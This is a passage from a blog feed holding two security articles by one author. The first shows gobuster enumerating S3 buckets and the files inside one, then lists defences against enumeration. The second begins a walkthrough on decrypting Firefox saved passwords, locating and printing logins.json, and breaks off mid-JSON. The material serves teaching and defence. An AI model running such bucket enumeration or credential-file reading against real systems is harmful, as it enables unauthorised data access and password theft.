  &lt;span class="nt"&gt;-a&lt;/span&gt;, &lt;span class="nt"&gt;--useragent&lt;/span&gt; string                  Set the User-Agent string &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;"gobuster/3.6"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Global Flags:
      &lt;span class="nt"&gt;--debug&lt;/span&gt;                 Enable debug output
      &lt;span class="nt"&gt;--delay&lt;/span&gt; duration        Time each thread waits between requests &lt;span class="o"&gt;(&lt;/span&gt;e.g. 1500ms&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--no-color&lt;/span&gt;              Disable color output
      &lt;span class="nt"&gt;--no-error&lt;/span&gt;              Don&lt;span class="s1"&gt;'t display errors
  -z, --no-progress           Don'&lt;/span&gt;t display progress
  &lt;span class="nt"&gt;-o&lt;/span&gt;, &lt;span class="nt"&gt;--output&lt;/span&gt; string         Output file to write results to &lt;span class="o"&gt;(&lt;/span&gt;defaults to stdout&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;, &lt;span class="nt"&gt;--pattern&lt;/span&gt; string        File containing replacement patterns
  &lt;span class="nt"&gt;-q&lt;/span&gt;, &lt;span class="nt"&gt;--quiet&lt;/span&gt;                 Don&lt;span class="s1"&gt;'t print the banner and other noise
  -t, --threads int           Number of concurrent threads (default 10)
  -v, --verbose               Verbose output (errors)
  -w, --wordlist string       Path to the wordlist. Set to - to use STDIN.
      --wordlist-offset int   Resume from a given position in the wordlist (defaults to 0)

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vamos criar um arquivo chamado 'bucket_list.txt' e adicionar uma lista de nomes que podem ser usados como nomes de buckets no Amazon S3. Após a criação do arquivo, seguiremos adiante com a execução do comando a seguir.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster s3 &lt;span class="nt"&gt;-w&lt;/span&gt; bucket_list.txt 
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.6
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                bucket_list.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.6
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;[&lt;/span&gt;+] Maximum files to list:   5
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;S3 bucket enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://dev.app.test.io.com.br.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not dev.app.test.io.com.br.s3.amazonaws.com
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://beta.test.io.com.br.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not beta.test.io.com.br.s3.amazonaws.com
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://echo.test.io.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not echo.test.io.s3.amazonaws.com
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://test.io.com.br.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not test.io.com.br.s3.amazonaws.com
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://test.com.br.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not test.com.br.s3.amazonaws.com
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"https://app.test.io.com.br.s3.amazonaws.com/?max-keys=5"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not app.test.io.com.br.s3.amazonaws.com

http://prod_test.s3.amazonaws.com/

http://test-images.s3.amazonaws.com/

Progress: 8 / 9 &lt;span class="o"&gt;(&lt;/span&gt;88.89%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Módulo de Diretório
&lt;/h3&gt;

&lt;p&gt;A função de exploração de diretórios no Gobuster desempenha um papel fundamental na busca por arquivos ocultos e caminhos de URL. Isso engloba uma ampla variedade de recursos, abrangendo desde imagens e arquivos de script até praticamente qualquer tipo de arquivo disponível na Internet.&lt;/p&gt;

&lt;p&gt;Segue abaixo o comando para buscar o módulo dir no dns achado no passo anterior.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~/Documentos/artigo-s3]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; files_list.txt  &lt;span class="nt"&gt;-u&lt;/span&gt; http://test-images.s3.amazonaws.com/ 
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.6
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     http://test-images.s3.amazonaws.com/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                files_list.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] Exclude Length:          243
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.6
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;

/image/b26086426c7e483b2924e775485b3215.jpg &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 629968]
/image/contrato.jpg   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 2830252]

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Como posso evitar ataque de enumeração com o Gobuster ?
&lt;/h3&gt;

&lt;p&gt;Se você está preocupado com a segurança do Amazon S3 e deseja evitar a enumeração de buckets, aqui estão algumas medidas que você pode adotar:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controle de Acesso: Utilize políticas de controle de acesso e permissões estritas no Amazon S3 para garantir que apenas as pessoas autorizadas possam listar, acessar ou modi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitore Atividades: Implemente a monitorização de atividades em seu Amazon S3 para detectar tentativas de acesso não autorizado ou enumeração de buckets.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Restrinja o Acesso por Referência: Utilize referenciamento condicional para restringir o acesso ao bucket com base no cabeçalho "Referer" da solicitação HTTP.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bloqueie Acesso a Diretórios: Configure os diretórios dentro do bucket de forma a não permitir listagem, o que dificulta a enumeração de subdiretórios.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Proteja Suas Credenciais: Mantenha suas credenciais seguras e evite compartilhá-las de maneira inadequada.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Realize Auditorias Regulares: Realize auditorias regulares em sua configuração do Amazon S3 para garantir que suas medidas de segurança estejam atualizadas e eficazes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use soluções de proteção contra bots: serviços de proteção contra bots como o Cloudflare impedirão qualquer ataque de força bruta, tornando incrivelmente difícil atacar seu aplicativo web.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Conclusão
&lt;/h1&gt;

&lt;p&gt;Lembre-se de que a segurança do Amazon S3 é crucial, pois o acesso não autorizado aos seus buckets pode levar a vazamentos de dados e outras vulnerabilidades.&lt;/p&gt;

&lt;p&gt;Certifique-se de seguir as melhores práticas de segurança da AWS para proteger adequadamente seus recursos no S3.&lt;/p&gt;

&lt;h3&gt;
  
  
  Referências
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://medium.com/quiknapp/fuzz-faster-with-ffuf-c18c031fc480"&gt;https://medium.com/quiknapp/fuzz-faster-with-ffuf-c18c031fc480&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/@janijay007/s3-bucket-misconfiguration-from-basics-to-pawn-6893776d1007"&gt;https://medium.com/@janijay007/s3-bucket-misconfiguration-from-basics-to-pawn-6893776d1007&lt;/a&gt;&lt;br&gt;
&lt;a href="https://takahiro-oda.medium.com/project-perform-s3-bucket-enumeration-using-various-s3-bucket-enumeration-tools-f4f63923b28"&gt;https://takahiro-oda.medium.com/project-perform-s3-bucket-enumeration-using-various-s3-bucket-enumeration-tools-f4f63923b28&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/stealthsecurity/finding-hidden-directories-sub-domains-and-s3-buckets-using-gobuster-5c2e3c41ff96"&gt;https://medium.com/stealthsecurity/finding-hidden-directories-sub-domains-and-s3-buckets-using-gobuster-5c2e3c41ff96&lt;/a&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>vulnerabilities</category>
      <category>gobuster</category>
    </item>
    <item>
      <title>Cracking Firefox Encryption and Rescuing Saved Passwords!</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sun, 23 Jul 2023 18:45:05 +0000</pubDate>
      <link>https://forem.com/higordiego/cracking-firefox-encryption-and-rescuing-saved-passwords-pfl</link>
      <guid>https://forem.com/higordiego/cracking-firefox-encryption-and-rescuing-saved-passwords-pfl</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwvxp7efmr6x2qme3y8k.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwvxp7efmr6x2qme3y8k.jpg" alt="FirefoxDecrypt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Who hasn’t taken advantage of that amazing browser feature to save time and avoid the stress of remembering passwords for various websites where we’re registered? With so many different profiles to manage nowadays, this convenience has become a real lifesaver!&lt;/p&gt;

&lt;p&gt;However, it’s natural to have some doubts about the security of this process since we’re entrusting sensitive information to the hands of the browser. But don’t worry, together we’ll unravel how Firefox handles this crucial aspect.&lt;/p&gt;

&lt;p&gt;In this article, we’ll dive deeper into how Firefox works and how it stores our passwords. Is this practice really secure? We’ll better understand how our data is treated and, in turn, feel more at ease using this browser convenience.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding the Storage Location
&lt;/h2&gt;

&lt;p&gt;In this section, we’ll discover where the folder that stores Firefox data is located in your default profile. This location may vary depending on your platform. Check out the paths below:&lt;/p&gt;

&lt;p&gt;Windows:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

C:/Users/&amp;lt;username&amp;gt;/AppData/Roaming/Mozilla/Firefox


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Mac OS:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

~/Library/Application Support/Firefox


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Linux:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

~/.mozilla/firefox


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;When running on your computer, remember to replace  with your machine’s username. This information will be useful for the password recovery process, which we’ll explore in detail later.&lt;/p&gt;

&lt;p&gt;Now, once inside the specific folder, we’ll list the contents to identify the important file for our action:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;cwprco4r.default-esr &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; 
...
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 higor higor 2,5K jul 22 09:30 logins.json
...


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Above, we have the important file for our action. The rest of the files in this folder are not relevant to the purpose of this article.&lt;/p&gt;

&lt;p&gt;By executing a read command like &lt;code&gt;cat logins.json&lt;/code&gt;, we will get the following output:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"nextId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logins"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hostname"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chrome://FirefoxAccounts"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"httpRealm"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Firefox Accounts credentials"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"formSubmitURL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"usernameField"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"passwordField"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encryptedUsername"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYJITKoZIhvcNabAwcE7x8cECOMFrk7xgPbEBBjqYBBzCDYxqHeHziM1jV/M7lzxfYpY3os="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encryptedPassword"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MIIDdAQQ+AAAAAAAAAAAAAAAAAAAATAUBggqhkiG9w0gc2aae45DBwQISyY0ItSG+VQEgat1gNIkM7/xitAyu7BaD8YvkZ3GUfbfsUxGkTJyZwKFyQVjnwVlBgUmrC84lSycKkzdoeDsX2VFQoka90izrJ7gwxSlCbXX8DotPYjNGZEjIOKuODsxbXHEen7m/UIh0UqkKKtkQeU9OxG3vViGrPJgZs2kLpJtpX3YEVGbgHig6orJtZtjfkSfB2CTpaSsGDHJBsKwFt1wUYOp8NdQPndrRcTZ3kF9if93rDhfxlgkpePGYYl3NkgQIu6jJ76hOLYeEh0Mm7mCIHa/jiKwUHtU6xVxc3OMX0BY/E0jCeN6NMuxC44HgPhjkKqMGaKBNxp/SdMO7a2L3dPw0pndkKhx5XweylFU4KBcrRJSWzAPbHsRQ5gOg4umn6R+idKJpp3UbBovlte4fWOJyk+2hSLabKdHvOX82D5Hbg03ThOI62uXyVsAqmAxgLUsIAh9kRxA2MyfwnD5OVF4lBCQzEmPVTGfs8mi196WxYXJekC2Bn4ARH1rZlJo7c6bsGBcw5dRx5QqGmOrYYhSUr1+B9onLV+Ja1n+G8dNXGq3803+nSAcLZOBzq3YxB0+dJ/o4S9M+jNZChnDiJ3LF2JXIqKY5MnIw7sFrI0y1YTvEUWeVrGAGh3vDqBVOtlznx7G4VdX92nGjwuHDfH07QDXplVYbjthIvRN6Ykm+MLGoTY84kWuGkqpczeXtUQp3P5/JziUVCePdoaJhwU4JATpNXy25PNcgprW2SFQ4L/jCJ3L9JL9P+XRSZ3nVzDqm+xVLqWQVmda1fDWAAkmRmzPaDF+M5hXTM4NVJy8DbLrQislKsBWcw1GUCZNe0ja4019vXkUqV0LhAa7EnoidgoxBPVCUw0/37/2lAGURMdo5Q6dujWtku6fMhlsr7SVtVTaxnK9jZnkhqb2H8qhW4aoajHeym9EpKYKsqlraragGT8Cn7NmQs7BTicEQwvOYP+oUEFAcXYIX1yE/3zmQSH29QfkeobX1PcwaIRuct6hf8IG13TjOQe/K5k6UJep9XTEpUpfW7dWcipRLnXKXK+pSBwpj1WYHpYG7+qdSmf/85YiexedTWk5px/9DyH1RlqH7UT4Uern4ynEOBJcys9InNFGRiBhvQtvXclBanP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"guid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{a2eb5150-685d-4615-a254-1c5dd58bee56}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timeCreated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1689961688625&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timeLastUsed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1689961688625&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timePasswordChanged"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1689961698732&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timesUsed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hostname"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.website.net"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"httpRealm"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"formSubmitURL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.website.net"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"usernameField"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EmailAddress"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"passwordField"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Password"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encryptedUsername"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcE7x8cECOMFrk7xgPbEBBjqYBBzCDYxqHeHziM1jV/M7lzxfYpY3os="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encryptedPassword"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcvcrBCiECFZc/kfDKvcrBCinGLow37uiKmg7K83IUGntneBODTMeV1jMrg95p3sCQzSknnBdG2ef"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"guid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{f0459b50-b0fe-4512-a085-e94e72319579}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"encType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timeCreated"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1687392175539&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timeLastUsed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1689971142811&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timePasswordChanged"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1687392175539&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"timesUsed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"potentiallyVulnerablePasswords"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dismissedBreachAlertsByLoginGUID"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sync"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
